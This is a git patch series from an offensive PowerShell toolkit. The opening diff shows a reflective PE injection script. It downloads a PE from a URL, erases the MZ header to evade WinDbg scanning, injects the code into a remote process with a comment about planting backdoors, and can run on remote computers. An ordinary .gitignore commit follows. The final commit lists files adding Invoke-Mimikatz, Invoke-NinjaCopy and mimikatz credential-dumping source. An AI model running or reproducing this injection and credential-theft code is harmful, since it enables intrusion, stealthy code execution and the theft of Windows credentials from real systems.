"VoidFunc couldn't be found in the DLL" + } + + $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle + $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle + + #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + } + + #Don't free a library if it is injected in a remote process + if ($RemoteProcHandle -eq [IntPtr]::Zero) + { + Invoke-MemoryFreeLibrary -PEHandle $PEHandle + } + else + { + #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + Write-Verbose "Done!" + } + + Main +} + +#Main function to either run the script locally or remotely +Function Main +{ + if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) + { + $DebugPreference = "Continue" + } - [Byte[]]$PEBytes = $null + Write-Verbose "PowerShell ProcessID: $PID" - if ($PsCmdlet.ParameterSetName -ieq "LocalFile") - { - Get-ChildItem $PEPath -ErrorAction Stop | Out-Null - [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) - } - else - { - $WebClient = New-Object System.Net.WebClient - - [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) - } + [Byte[]]$PEBytes = $null - #Verify the image is a valid PE file - $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' - - if ($e_magic -ne 'MZ') - { - throw 'PE is not a valid PE file.' - } - - # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg - # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. - $PEBytes[0] = 0 - $PEBytes[1] = 0 + if ($PsCmdlet.ParameterSetName -ieq "LocalFile") + { + Get-ChildItem $PEPath -ErrorAction Stop | Out-Null + [Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath)) + } + else + { + $WebClient = New-Object System.Net.WebClient + + [Byte[]]$PEBytes = $WebClient.DownloadData($PEUrl) + } - #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) - if ($ExeArgs -ne $null -and $ExeArgs -ne '') - { - $ExeArgs = "ReflectiveExe $ExeArgs" - } - else - { - $ExeArgs = "ReflectiveExe" - } + #Verify the image is a valid PE file + $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' - if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) - } - else - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName - } + if ($e_magic -ne 'MZ') + { + throw 'PE is not a valid PE file.' } - Main + # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg + # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. + $PEBytes[0] = 0 + $PEBytes[1] = 0 + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName + } +} + +Main } \ No newline at end of file From b17272eb98933c62baa5a21bcd23713f9182ee38 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 1 Oct 2013 09:46:42 -0700 Subject: [PATCH 014/382] Adding gitignore file Don't want gigantic ipch files from visual studio (among other useless files) to be uploaded. --- .gitignore | 215 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 215 insertions(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..b9d6bd92 --- /dev/null +++ b/.gitignore @@ -0,0 +1,215 @@ +################# +## Eclipse +################# + +*.pydevproject +.project +.metadata +bin/ +tmp/ +*.tmp +*.bak +*.swp +*~.nib +local.properties +.classpath +.settings/ +.loadpath + +# External tool builders +.externalToolBuilders/ + +# Locally stored "Eclipse launch configurations" +*.launch + +# CDT-specific +.cproject + +# PDT-specific +.buildpath + + +################# +## Visual Studio +################# + +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. + +# User-specific files +*.suo +*.user +*.sln.docstates + +# Build results + +[Dd]ebug/ +[Rr]elease/ +x64/ +build/ +[Bb]in/ +[Oo]bj/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +*_i.c +*_p.c +*.ilk +*.meta +*.obj +*.pch +*.pdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.log +*.scc + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opensdf +*.sdf +*.cachefile + +# Visual Studio profiler +*.psess +*.vsp +*.vspx + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# NCrunch +*.ncrunch* +.*crunch*.local.xml + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.Publish.xml +*.pubxml + +# NuGet Packages Directory +## TODO: If you have NuGet Package Restore enabled, uncomment the next line +#packages/ + +# Windows Azure Build Output +csx +*.build.csdef + +# Windows Store app package directory +AppPackages/ + +# Others +sql/ +*.Cache +ClientBin/ +[Ss]tyle[Cc]op.* +~$* +*~ +*.dbmdl +*.[Pp]ublish.xml +*.pfx +*.publishsettings + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file to a newer +# Visual Studio version. Backup files are not needed, because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm + +# SQL Server files +App_Data/*.mdf +App_Data/*.ldf + +############# +## Windows detritus +############# + +# Windows image file caches +Thumbs.db +ehthumbs.db + +# Folder config file +Desktop.ini + +# Recycle Bin used on file shares +$RECYCLE.BIN/ + +# Mac crap +.DS_Store + + +############# +## Python +############# + +*.py[co] + +# Packages +*.egg +*.egg-info +dist/ +build/ +eggs/ +parts/ +var/ +sdist/ +develop-eggs/ +.installed.cfg + +# Installer logs +pip-log.txt + +# Unit test / coverage reports +.coverage +.tox + +#Translations +*.mo + +#Mr Developer +.mr.developer.cfg From 59cd18360764af6e6133ad11ec9cd8295372e587 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 1 Oct 2013 09:47:05 -0700 Subject: [PATCH 015/382] Adding Invoke-Mimikatz and Invoke-Ninjacopy --- Exfiltration/Exfiltration.psd1 | 3 +- Exfiltration/Invoke-Mimikatz.ps1 | 2713 ++++++++++++++++ Exfiltration/Invoke-NinjaCopy.ps1 | 2848 +++++++++++++++++ Exfiltration/NTFSParser/NTFSParser.sln | 26 + Exfiltration/NTFSParser/NTFSParser/NTFS.h | 28 + .../NTFSParser/NTFSParser/NTFSParser.cpp | 49 + .../NTFSParser/NTFSParser/NTFSParser.vcxproj | 165 + .../NTFSParser/NTFSParser.vcxproj.filters | 51 + .../NTFSParser/NTFSParser/NTFS_Attribute.h | 1663 ++++++++++ .../NTFSParser/NTFSParser/NTFS_Common.h | 317 ++ .../NTFSParser/NTFSParser/NTFS_DataType.h | 380 +++ .../NTFSParser/NTFSParser/NTFS_FileRecord.h | 989 ++++++ Exfiltration/NTFSParser/NTFSParser/ReadMe.txt | 40 + Exfiltration/NTFSParser/NTFSParser/stdafx.cpp | 8 + Exfiltration/NTFSParser/NTFSParser/stdafx.h | 17 + .../NTFSParser/NTFSParser/targetver.h | 8 + Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h | 28 + .../NTFSParserDLL/NTFSParserDLL.cpp | 161 + .../NTFSParserDLL/NTFSParserDLL.vcxproj | 172 + .../NTFSParserDLL.vcxproj.filters | 39 + .../NTFSParser/NTFSParserDLL/NTFS_Attribute.h | 1663 ++++++++++ .../NTFSParser/NTFSParserDLL/NTFS_Common.h | 317 ++ .../NTFSParser/NTFSParserDLL/NTFS_DataType.h | 380 +++ .../NTFSParserDLL/NTFS_FileRecord.h | 989 ++++++ .../NTFSParser/NTFSParserDLL/ReadMe.txt | 48 + .../NTFSParser/NTFSParserDLL/dllmain.cpp | 36 + .../NTFSParser/NTFSParserDLL/stdafx.cpp | 8 + .../NTFSParser/NTFSParserDLL/stdafx.h | 18 + .../NTFSParser/NTFSParserDLL/targetver.h | 8 + Exfiltration/mimikatz-1.0/Win32/kappfree.dll | Bin 0 -> 34816 bytes Exfiltration/mimikatz-1.0/Win32/kappfree.exp | Bin 0 -> 693 bytes Exfiltration/mimikatz-1.0/Win32/kappfree.lib | Bin 0 -> 1702 bytes .../mimikatz-1.0/Win32/kelloworld.dll | Bin 0 -> 93184 bytes .../mimikatz-1.0/Win32/kelloworld.exp | Bin 0 -> 816 bytes .../mimikatz-1.0/Win32/kelloworld.lib | Bin 0 -> 1900 bytes Exfiltration/mimikatz-1.0/Win32/klock.dll | Bin 0 -> 133120 bytes Exfiltration/mimikatz-1.0/Win32/klock.exp | Bin 0 -> 1013 bytes Exfiltration/mimikatz-1.0/Win32/klock.lib | Bin 0 -> 2194 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.dll | Bin 0 -> 405504 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.exe | Bin 0 -> 403456 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.exp | Bin 0 -> 825 bytes Exfiltration/mimikatz-1.0/Win32/mimikatz.lib | Bin 0 -> 1908 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.dll | Bin 0 -> 178176 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.exp | Bin 0 -> 2144 bytes Exfiltration/mimikatz-1.0/Win32/sekurlsa.lib | Bin 0 -> 4094 bytes Exfiltration/mimikatz-1.0/commun/globdefs.h | 128 + .../mimikatz-1.0/commun/icons/cmd_32.ico | Bin 0 -> 4286 bytes .../mimikatz-1.0/commun/icons/cmd_48.ico | Bin 0 -> 9662 bytes .../mimikatz-1.0/commun/icons/cmd_kiwi.ico | Bin 0 -> 15086 bytes .../commun/icons/mimikatz_bird.ico | Bin 0 -> 15086 bytes .../commun/icons/mimikatz_fruit.ico | Bin 0 -> 15086 bytes .../commun/icons/mimikatz_fruit_16.ico | Bin 0 -> 1150 bytes .../mimikatz-1.0/commun/icons/regedit_32.ico | Bin 0 -> 4286 bytes .../mimikatz-1.0/commun/icons/regedit_48.ico | Bin 0 -> 9662 bytes .../commun/icons/regedit_kiwi.ico | Bin 0 -> 15086 bytes .../mimikatz-1.0/commun/icons/taskmgr_32.ico | Bin 0 -> 4286 bytes .../mimikatz-1.0/commun/icons/taskmgr_48.ico | Bin 0 -> 9662 bytes .../commun/icons/taskmgr_kiwi.ico | Bin 0 -> 15086 bytes Exfiltration/mimikatz-1.0/commun/kmodel.cpp | 139 + Exfiltration/mimikatz-1.0/commun/kmodel.h | 21 + Exfiltration/mimikatz-1.0/commun/secpkg.h | 239 ++ Exfiltration/mimikatz-1.0/driver/MAKEFILE | 1 + .../mimikatz-1.0/driver/MSCV-GlobalSign.cer | 32 + Exfiltration/mimikatz-1.0/driver/SOURCES | 9 + Exfiltration/mimikatz-1.0/driver/fsfilters.c | 35 + Exfiltration/mimikatz-1.0/driver/fsfilters.h | 5 + Exfiltration/mimikatz-1.0/driver/k_types.h | 49 + Exfiltration/mimikatz-1.0/driver/mimikatz.c | 193 ++ Exfiltration/mimikatz-1.0/driver/mimikatz.h | 26 + .../mimikatz-1.0/driver/minifilters.c | 193 ++ .../mimikatz-1.0/driver/minifilters.h | 12 + Exfiltration/mimikatz-1.0/driver/mod_memory.c | 32 + Exfiltration/mimikatz-1.0/driver/mod_memory.h | 5 + Exfiltration/mimikatz-1.0/driver/modules.c | 110 + Exfiltration/mimikatz-1.0/driver/modules.h | 7 + Exfiltration/mimikatz-1.0/driver/notify.h | 19 + .../mimikatz-1.0/driver/notify_image.c | 117 + .../mimikatz-1.0/driver/notify_image.h | 10 + .../mimikatz-1.0/driver/notify_object.c | 173 + .../mimikatz-1.0/driver/notify_object.h | 79 + .../mimikatz-1.0/driver/notify_process.c | 137 + .../mimikatz-1.0/driver/notify_process.h | 12 + Exfiltration/mimikatz-1.0/driver/notify_reg.c | 137 + Exfiltration/mimikatz-1.0/driver/notify_reg.h | 17 + .../mimikatz-1.0/driver/notify_thread.c | 111 + .../mimikatz-1.0/driver/notify_thread.h | 11 + Exfiltration/mimikatz-1.0/driver/processes.c | 146 + Exfiltration/mimikatz-1.0/driver/processes.h | 33 + Exfiltration/mimikatz-1.0/driver/ssdt.c | 83 + Exfiltration/mimikatz-1.0/driver/ssdt.h | 13 + .../kappfree/Win32/CL.read.1.tlog | Bin 0 -> 13668 bytes .../kappfree/Win32/CL.write.1.tlog | Bin 0 -> 528 bytes .../kappfree/Win32/cl.command.1.tlog | Bin 0 -> 1190 bytes .../Win32/kappfree.dll.intermediate.manifest | 10 + .../kappfree/Win32/kappfree.lastbuildstate | 2 + .../mimikatz-1.0/kappfree/Win32/kappfree.res | Bin 0 -> 788 bytes .../kappfree/Win32/kappfree.write.1.tlog | 5 + .../kappfree/Win32/link-cvtres.read.1.tlog | 1 + .../kappfree/Win32/link-cvtres.write.1.tlog | 1 + .../kappfree/Win32/link.command.1.tlog | Bin 0 -> 1510 bytes .../kappfree/Win32/link.read.1.tlog | Bin 0 -> 2184 bytes .../kappfree/Win32/link.write.1.tlog | Bin 0 -> 756 bytes .../kappfree/Win32/mt.command.1.tlog | Bin 0 -> 936 bytes .../kappfree/Win32/mt.read.1.tlog | Bin 0 -> 1094 bytes .../kappfree/Win32/mt.write.1.tlog | Bin 0 -> 574 bytes .../kappfree/Win32/rc.command.1.tlog | Bin 0 -> 628 bytes .../kappfree/Win32/rc.read.1.tlog | Bin 0 -> 2522 bytes .../kappfree/Win32/rc.write.1.tlog | Bin 0 -> 354 bytes Exfiltration/mimikatz-1.0/kappfree/kappfree.c | 34 + Exfiltration/mimikatz-1.0/kappfree/kappfree.h | 9 + .../mimikatz-1.0/kappfree/kappfree.rc | Bin 0 -> 1912 bytes .../mimikatz-1.0/kappfree/kappfree.vcxproj | 119 + .../kappfree/kappfree.vcxproj.filters | 12 + .../kelloworld/Win32/CL.read.1.tlog | Bin 0 -> 97396 bytes .../kelloworld/Win32/CL.write.1.tlog | Bin 0 -> 3060 bytes .../kelloworld/Win32/cl.command.1.tlog | Bin 0 -> 4850 bytes .../kelloworld.dll.intermediate.manifest | 10 + .../Win32/kelloworld.lastbuildstate | 2 + .../kelloworld/Win32/kelloworld.res | Bin 0 -> 760 bytes .../kelloworld/Win32/kelloworld.write.1.tlog | 5 + .../kelloworld/Win32/link-cvtres.read.1.tlog | 1 + .../kelloworld/Win32/link-cvtres.write.1.tlog | 1 + .../kelloworld/Win32/link.command.1.tlog | Bin 0 -> 2332 bytes .../kelloworld/Win32/link.read.1.tlog | Bin 0 -> 3694 bytes .../kelloworld/Win32/link.write.1.tlog | Bin 0 -> 1470 bytes .../kelloworld/Win32/mt.command.1.tlog | Bin 0 -> 974 bytes .../kelloworld/Win32/mt.read.1.tlog | Bin 0 -> 1128 bytes .../kelloworld/Win32/mt.write.1.tlog | Bin 0 -> 608 bytes .../kelloworld/Win32/rc.command.1.tlog | Bin 0 -> 700 bytes .../kelloworld/Win32/rc.read.1.tlog | Bin 0 -> 2552 bytes .../kelloworld/Win32/rc.write.1.tlog | Bin 0 -> 414 bytes .../librairies/kelloworld/kelloworld.cpp | 12 + .../librairies/kelloworld/kelloworld.h | 9 + .../librairies/kelloworld/kelloworld.rc | Bin 0 -> 1886 bytes .../librairies/kelloworld/kelloworld.vcxproj | 121 + .../kelloworld/kelloworld.vcxproj.filters | 44 + .../librairies/klock/Win32/CL.read.1.tlog | Bin 0 -> 125158 bytes .../librairies/klock/Win32/CL.write.1.tlog | Bin 0 -> 3668 bytes .../librairies/klock/Win32/cl.command.1.tlog | Bin 0 -> 5964 bytes .../Win32/klock.dll.intermediate.manifest | 10 + .../klock/Win32/klock.lastbuildstate | 2 + .../librairies/klock/Win32/klock.res | Bin 0 -> 740 bytes .../librairies/klock/Win32/klock.write.1.tlog | 5 + .../klock/Win32/link-cvtres.read.1.tlog | 1 + .../klock/Win32/link-cvtres.write.1.tlog | 1 + .../klock/Win32/link.command.1.tlog | Bin 0 -> 2494 bytes .../librairies/klock/Win32/link.read.1.tlog | Bin 0 -> 4222 bytes .../librairies/klock/Win32/link.write.1.tlog | Bin 0 -> 1570 bytes .../librairies/klock/Win32/mt.command.1.tlog | Bin 0 -> 934 bytes .../librairies/klock/Win32/mt.read.1.tlog | Bin 0 -> 1098 bytes .../librairies/klock/Win32/mt.write.1.tlog | Bin 0 -> 578 bytes .../librairies/klock/Win32/rc.command.1.tlog | Bin 0 -> 630 bytes .../librairies/klock/Win32/rc.read.1.tlog | Bin 0 -> 2532 bytes .../librairies/klock/Win32/rc.write.1.tlog | Bin 0 -> 374 bytes .../mimikatz-1.0/librairies/klock/klock.cpp | 97 + .../mimikatz-1.0/librairies/klock/klock.h | 14 + .../mimikatz-1.0/librairies/klock/klock.rc | Bin 0 -> 1866 bytes .../librairies/klock/klock.vcxproj | 131 + .../librairies/klock/klock.vcxproj.filters | 53 + .../sekurlsa/Security Packages/msv1_0.cpp | 153 + .../sekurlsa/Security Packages/msv1_0.h | 16 + .../Security Packages/msv1_0_helper.cpp | 53 + .../Security Packages/msv1_0_helper.h | 28 + .../librairies/sekurlsa/Win32/CL.read.1.tlog | Bin 0 -> 365578 bytes .../librairies/sekurlsa/Win32/CL.write.1.tlog | Bin 0 -> 10972 bytes .../sekurlsa/Win32/cl.command.1.tlog | Bin 0 -> 17846 bytes .../sekurlsa/Win32/link-cvtres.read.1.tlog | 1 + .../sekurlsa/Win32/link-cvtres.write.1.tlog | 1 + .../sekurlsa/Win32/link.command.1.tlog | Bin 0 -> 4788 bytes .../sekurlsa/Win32/link.read.1.tlog | Bin 0 -> 8124 bytes .../sekurlsa/Win32/link.write.1.tlog | Bin 0 -> 3458 bytes .../sekurlsa/Win32/mt.command.1.tlog | Bin 0 -> 958 bytes .../librairies/sekurlsa/Win32/mt.read.1.tlog | Bin 0 -> 1116 bytes .../librairies/sekurlsa/Win32/mt.write.1.tlog | Bin 0 -> 596 bytes .../sekurlsa/Win32/rc.command.1.tlog | Bin 0 -> 672 bytes .../librairies/sekurlsa/Win32/rc.read.1.tlog | Bin 0 -> 2544 bytes .../librairies/sekurlsa/Win32/rc.write.1.tlog | Bin 0 -> 398 bytes .../Win32/sekurlsa.dll.intermediate.manifest | 10 + .../sekurlsa/Win32/sekurlsa.lastbuildstate | 2 + .../librairies/sekurlsa/Win32/sekurlsa.res | Bin 0 -> 752 bytes .../sekurlsa/Win32/sekurlsa.write.1.tlog | 5 + .../librairies/sekurlsa/modules/credman.cpp | 180 ++ .../librairies/sekurlsa/modules/credman.h | 19 + .../librairies/sekurlsa/modules/incognito.cpp | 88 + .../librairies/sekurlsa/modules/incognito.h | 13 + .../librairies/sekurlsa/modules/sam.cpp | 479 +++ .../librairies/sekurlsa/modules/sam.h | 210 ++ .../librairies/sekurlsa/modules/secrets.cpp | 99 + .../librairies/sekurlsa/modules/secrets.h | 29 + .../librairies/sekurlsa/sekurlsa.cpp | 86 + .../librairies/sekurlsa/sekurlsa.h | 23 + .../librairies/sekurlsa/sekurlsa.rc | Bin 0 -> 1878 bytes .../librairies/sekurlsa/sekurlsa.vcxproj | 154 + .../sekurlsa/sekurlsa.vcxproj.filters | 122 + Exfiltration/mimikatz-1.0/lisezmoi.txt | 47 + Exfiltration/mimikatz-1.0/mimikatz.sln | 85 + .../mimikatz/Win32/CL.read.1.tlog | Bin 0 -> 1366714 bytes .../mimikatz/Win32/CL.write.1.tlog | Bin 0 -> 57866 bytes .../mimikatz/Win32/cl.command.1.tlog | Bin 0 -> 62526 bytes .../mimikatz/Win32/link-cvtres.read.1.tlog | 1 + .../mimikatz/Win32/link-cvtres.write.1.tlog | 1 + .../mimikatz/Win32/link.command.1.tlog | Bin 0 -> 26804 bytes .../mimikatz/Win32/link.read.1.tlog | Bin 0 -> 44242 bytes .../mimikatz/Win32/link.write.1.tlog | Bin 0 -> 19942 bytes .../mimikatz/Win32/mimikatz.lastbuildstate | 2 + .../mimikatz-1.0/mimikatz/Win32/mimikatz.res | Bin 0 -> 61560 bytes .../mimikatz/Win32/mimikatz.write.1.tlog | 5 + .../mimikatz/Win32/rc.command.1.tlog | Bin 0 -> 628 bytes .../mimikatz/Win32/rc.read.1.tlog | Bin 0 -> 3262 bytes .../mimikatz/Win32/rc.write.1.tlog | Bin 0 -> 354 bytes Exfiltration/mimikatz-1.0/mimikatz/global.cpp | 5 + Exfiltration/mimikatz-1.0/mimikatz/global.h | 4 + Exfiltration/mimikatz-1.0/mimikatz/main.cpp | 73 + .../mimikatz-1.0/mimikatz/mimikatz.cpp | 286 ++ Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h | 57 + .../mimikatz-1.0/mimikatz/mimikatz.rc | Bin 0 -> 2528 bytes .../mimikatz-1.0/mimikatz/mimikatz.vcxproj | 228 ++ .../mimikatz/mimikatz.vcxproj.filters | 386 +++ .../mimikatz/modules/LSA Keys/keys_nt5.cpp | 76 + .../mimikatz/modules/LSA Keys/keys_nt5.h | 17 + .../mimikatz/modules/LSA Keys/keys_nt6.cpp | 186 ++ .../mimikatz/modules/LSA Keys/keys_nt6.h | 45 + .../modules/Security Packages/kerberos.cpp | 135 + .../modules/Security Packages/kerberos.h | 70 + .../modules/Security Packages/livessp.cpp | 70 + .../modules/Security Packages/livessp.h | 44 + .../modules/Security Packages/msv1_0.cpp | 217 ++ .../modules/Security Packages/msv1_0.h | 105 + .../modules/Security Packages/ssp.cpp | 92 + .../mimikatz/modules/Security Packages/ssp.h | 32 + .../modules/Security Packages/tspkg.cpp | 94 + .../modules/Security Packages/tspkg.h | 37 + .../modules/Security Packages/wdigest.cpp | 91 + .../modules/Security Packages/wdigest.h | 29 + .../mimikatz/modules/mod_mimikatz_crypto.cpp | 594 ++++ .../mimikatz/modules/mod_mimikatz_crypto.h | 36 + .../mimikatz/modules/mod_mimikatz_divers.cpp | 306 ++ .../mimikatz/modules/mod_mimikatz_divers.h | 30 + .../mimikatz/modules/mod_mimikatz_efs.cpp | 300 ++ .../mimikatz/modules/mod_mimikatz_efs.h | 133 + .../mimikatz/modules/mod_mimikatz_handle.cpp | 301 ++ .../mimikatz/modules/mod_mimikatz_handle.h | 23 + .../mimikatz/modules/mod_mimikatz_hash.cpp | 43 + .../mimikatz/modules/mod_mimikatz_hash.h | 18 + .../modules/mod_mimikatz_impersonate.cpp | 25 + .../modules/mod_mimikatz_impersonate.h | 19 + .../mimikatz/modules/mod_mimikatz_inject.cpp | 120 + .../mimikatz/modules/mod_mimikatz_inject.h | 33 + .../modules/mod_mimikatz_minesweeper.cpp | 140 + .../modules/mod_mimikatz_minesweeper.h | 72 + .../mimikatz/modules/mod_mimikatz_nogpo.cpp | 210 ++ .../mimikatz/modules/mod_mimikatz_nogpo.h | 30 + .../modules/mod_mimikatz_privilege.cpp | 167 + .../mimikatz/modules/mod_mimikatz_privilege.h | 33 + .../mimikatz/modules/mod_mimikatz_process.cpp | 298 ++ .../mimikatz/modules/mod_mimikatz_process.h | 32 + .../mimikatz/modules/mod_mimikatz_samdump.cpp | 353 ++ .../mimikatz/modules/mod_mimikatz_samdump.h | 34 + .../modules/mod_mimikatz_sekurlsa.cpp | 348 ++ .../mimikatz/modules/mod_mimikatz_sekurlsa.h | 64 + .../mimikatz/modules/mod_mimikatz_service.cpp | 191 ++ .../mimikatz/modules/mod_mimikatz_service.h | 34 + .../modules/mod_mimikatz_standard.cpp | 77 + .../mimikatz/modules/mod_mimikatz_standard.h | 23 + .../mimikatz/modules/mod_mimikatz_system.cpp | 40 + .../mimikatz/modules/mod_mimikatz_system.h | 17 + .../modules/mod_mimikatz_terminalserver.cpp | 291 ++ .../modules/mod_mimikatz_terminalserver.h | 55 + .../mimikatz/modules/mod_mimikatz_thread.cpp | 138 + .../mimikatz/modules/mod_mimikatz_thread.h | 27 + .../mimikatz/modules/mod_mimikatz_winmine.cpp | 162 + .../mimikatz/modules/mod_mimikatz_winmine.h | 45 + .../mimikatz-1.0/modules/mod_crypto.cpp | 240 ++ .../mimikatz-1.0/modules/mod_crypto.h | 60 + .../mimikatz-1.0/modules/mod_cryptoapi.cpp | 138 + .../mimikatz-1.0/modules/mod_cryptoapi.h | 26 + .../mimikatz-1.0/modules/mod_cryptong.cpp | 143 + .../mimikatz-1.0/modules/mod_cryptong.h | 24 + .../mimikatz-1.0/modules/mod_hash.cpp | 150 + Exfiltration/mimikatz-1.0/modules/mod_hash.h | 81 + .../mimikatz-1.0/modules/mod_hive.cpp | 242 ++ Exfiltration/mimikatz-1.0/modules/mod_hive.h | 88 + .../mimikatz-1.0/modules/mod_inject.cpp | 72 + .../mimikatz-1.0/modules/mod_inject.h | 19 + .../mimikatz-1.0/modules/mod_memory.cpp | 140 + .../mimikatz-1.0/modules/mod_memory.h | 22 + .../mimikatz-1.0/modules/mod_minidump.cpp | 163 + .../mimikatz-1.0/modules/mod_minidump.h | 33 + Exfiltration/mimikatz-1.0/modules/mod_ntddk.h | 322 ++ .../mimikatz-1.0/modules/mod_parseur.cpp | 38 + .../mimikatz-1.0/modules/mod_parseur.h | 15 + .../mimikatz-1.0/modules/mod_patch.cpp | 146 + Exfiltration/mimikatz-1.0/modules/mod_patch.h | 57 + .../mimikatz-1.0/modules/mod_pipe.cpp | 121 + Exfiltration/mimikatz-1.0/modules/mod_pipe.h | 29 + .../mimikatz-1.0/modules/mod_privilege.cpp | 95 + .../mimikatz-1.0/modules/mod_privilege.h | 18 + .../mimikatz-1.0/modules/mod_process.cpp | 473 +++ .../mimikatz-1.0/modules/mod_process.h | 84 + .../mimikatz-1.0/modules/mod_secacl.cpp | 162 + .../mimikatz-1.0/modules/mod_secacl.h | 24 + .../mimikatz-1.0/modules/mod_service.cpp | 142 + .../mimikatz-1.0/modules/mod_service.h | 38 + .../mimikatz-1.0/modules/mod_system.cpp | 208 ++ .../mimikatz-1.0/modules/mod_system.h | 34 + .../mimikatz-1.0/modules/mod_text.cpp | 101 + Exfiltration/mimikatz-1.0/modules/mod_text.h | 31 + .../mimikatz-1.0/modules/mod_thread.cpp | 77 + .../mimikatz-1.0/modules/mod_thread.h | 19 + Exfiltration/mimikatz-1.0/modules/mod_ts.cpp | 106 + Exfiltration/mimikatz-1.0/modules/mod_ts.h | 35 + .../mimikatz-1.0/modules/mod_windows.cpp | 26 + .../mimikatz-1.0/modules/mod_windows.h | 22 + .../modules/mod_winsta_desktop.cpp | 29 + .../mimikatz-1.0/modules/mod_winsta_desktop.h | 18 + Exfiltration/mimikatz-1.0/tools/PsExec.exe | Bin 0 -> 381816 bytes Exfiltration/mimikatz-1.0/tools/tee.exe | Bin 0 -> 16896 bytes Exfiltration/mimikatz-1.0/tools/winmine.exe | Bin 0 -> 119808 bytes 318 files changed, 29481 insertions(+), 1 deletion(-) create mode 100644 Exfiltration/Invoke-Mimikatz.ps1 create mode 100644 Exfiltration/Invoke-NinjaCopy.ps1 create mode 100644 Exfiltration/NTFSParser/NTFSParser.sln create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFSParser.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFSParser.vcxproj.filters create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS_Attribute.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS_Common.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS_DataType.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/NTFS_FileRecord.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/ReadMe.txt create mode 100644 Exfiltration/NTFSParser/NTFSParser/stdafx.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParser/stdafx.h create mode 100644 Exfiltration/NTFSParser/NTFSParser/targetver.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS.h create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.cpp create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFSParserDLL.vcxproj.filters create mode 100644 Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Attribute.h create mode 100644 